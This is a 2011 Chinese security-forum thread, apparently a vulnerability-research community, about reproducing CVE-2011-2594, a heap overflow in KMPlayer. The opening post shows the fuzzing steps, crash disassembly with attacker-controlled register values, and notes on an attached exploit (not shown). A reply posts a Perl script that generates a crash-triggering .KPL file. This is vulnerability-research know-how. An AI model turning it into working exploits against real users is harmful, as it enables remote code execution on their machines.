首页
社区
课程
招聘
cve 2011-2594 0day poc
2011-9-5 10:34 6351

cve 2011-2594 0day poc

2011-9-5 10:34
6351
大家好, 本人新人 根据漏洞信息 成功构造出 漏洞poc 发出来大家一起交流
漏洞编号:                 NIPC-2011-2620
CVE编号:                 CVE-2011-2594
发布日期:                 2011-09-02
更新日期:                 2011-09-02

漏洞描述:                

KMPlayer 3.0.0.1441以及可能一些其他版本中存在堆缓冲区溢出漏洞,允许远程攻击者通过带有超长Title字段的播放列表文件(.KPL)执行任意代码。

现在总结一下发掘漏洞的过程。
poc制作过程:
1.看到漏洞信息,首先先还原漏洞环境, window xp/ KMPlayer 3.0.0.1441d
2.公告说是kpl文件的title字段存在漏洞,所以我们首先要找到一个正常,完整的kpl文件,通过搜索kpl安装目录下的文件,找到了 defeat。kpl文件 。
3.打开此文件,可以清楚的看到里面的title1字段 ,(ps:kpl文件实际上是kmplayer程序记录最后一次打开文件的信息记录文件,同时它也可以被kmp程序双击打开), 此时就开始我们的fuzz测试。填充一段超长字符串。我填充了接近6w个字节的“a”。然后保存文件。
4。双击打开kpl文件,程序溢出,崩溃。
003EE23E    33C0            xor     eax, eax
003EE240    5A              pop     edx
003EE241    59              pop     ecx
003EE242    59              pop     ecx
003EE243    64:8910         mov     dword ptr fs:[eax], edx
003EE246    68 86E23E00     push    003EE286
003EE24B    8B45 FC         mov     eax, dword ptr [ebp-4]
003EE24E    0FB658 0F       movzx   ebx, byte ptr [eax+F]
003EE252    8B45 FC         mov     eax, dword ptr [ebp-4]
003EE255    8B70 14         mov     esi, dword ptr [eax+14]
003EE258    8B45 FC         mov     eax, dword ptr [ebp-4]
003EE25B    8B10            mov     edx, dword ptr [eax]
003EE25D    FF12            call    dword ptr [edx]

程序断到 003EE25D  此时edx地址位61616161
就是我们填充的aaaa。
成功的还原了漏洞场景,
剩下来得就是构造 利用poc 制成exp 。
ps:在利用过程中会遇到 unicode字符限制,此处我们可以把 kpl文件保存位 asc码文件,就不存在unicode问题了。
没什么技术含量  大牛请绕过。

ps:此附件 是针对win7环境版本
可以修稿文件内容:File1=C:\Windows\winsxs\x86_microsoft-windows-tabletpc-inputpanel_31bf3856ad364e35_6.1.7600.16385_none_11656be9d8d5e28f\boxed-delete.avi为 指定已有文件路径 实现windows xp 下利用。

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (11)
雪    币: 82
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
哈哈天下 2011-9-5 10:34
2
0
先沙发
雪    币: 3171
活跃值: (71)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 6 2011-9-5 10:44
3
0
楼主很用心,把漏洞的主要利用点说明白了。
其他朋友可以联系实际,做做后续的分析。
鼓励·
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
猪猡公园 2011-9-5 11:51
4
0
Cool stuff,这个一定得学习学习。
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ylbhz 2011-9-5 12:34
5
0
呜呜呜,我没构造出POC,原来是我的a填充的不够。6w~~晕倒,看来楼主够“狠”啊!要多多加油。
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ylbhz 2011-9-5 13:24
6
0
求解,我仍然没有成功。。。
$fuzz = "A" x 70000;

$Part_0 = "[playlist]";
$Part_1 = "File1=D:\\KMPlayer\\mp3\\1.mp3";
$Part_2 = "Title1=".$fuzz;
$Part_3 = "Length1=181240";
$Part_4 = "Played1=1";
$Part_5 = "NumberOfEntries=1";
$Part_6 = "Version=2";
$Part_7 = "CurrentIndex=0";

$strFileName = "poc.kpl";
$stdFile = NULL;
open($stdFile, ">$strFileName");
print $stdFile $Part_0."\r\n";
print $stdFile $Part_1."\r\n";
print $stdFile $Part_2."\r\n";
print $stdFile $Part_3."\r\n";
print $stdFile $Part_4."\r\n";
print $stdFile $Part_5."\r\n";
print $stdFile $Part_6."\r\n";
print $stdFile $Part_7."\r\n";
close($stdFile);
雪    币: 82
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
哈哈天下 2011-9-5 16:11
7
0
[QUOTE=ylbhz;997637]求解,我仍然没有成功。。。
$fuzz = "A" x 70000;

$Part_0 = "[playlist]";
$Part_1 = "File1=D:\\KMPlayer\\mp3\\1.mp3";
$Part_2 = "Title1=".$fuzz;
$Part_...[/QUOTE]

提示什么错误?!
雪    币: 3171
活跃值: (71)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 6 2011-9-5 17:51
8
0
这个漏洞不同系统还不太一样,我得两个虚拟机一个可以溢出一个不能,有时候看RP啊。。。
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
Cryin 4 2011-9-5 18:17
9
0
这个要支持~~我也是开始几次都没成功~~~最后才弄成。。要把这个文件路径搞对。。真的是要RP~~
雪    币: 207
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
正happy 1 2011-9-5 19:04
10
0
我也去试一下
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ylbhz 2011-9-5 21:17
11
0
什么提示都米有,没有触发异常。。。
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
可见光 2011-9-5 23:43
12
0
好像与指定的avi样本有关~多换几个~会出好多神奇的事儿
游客
登录 | 注册 方可回帖
返回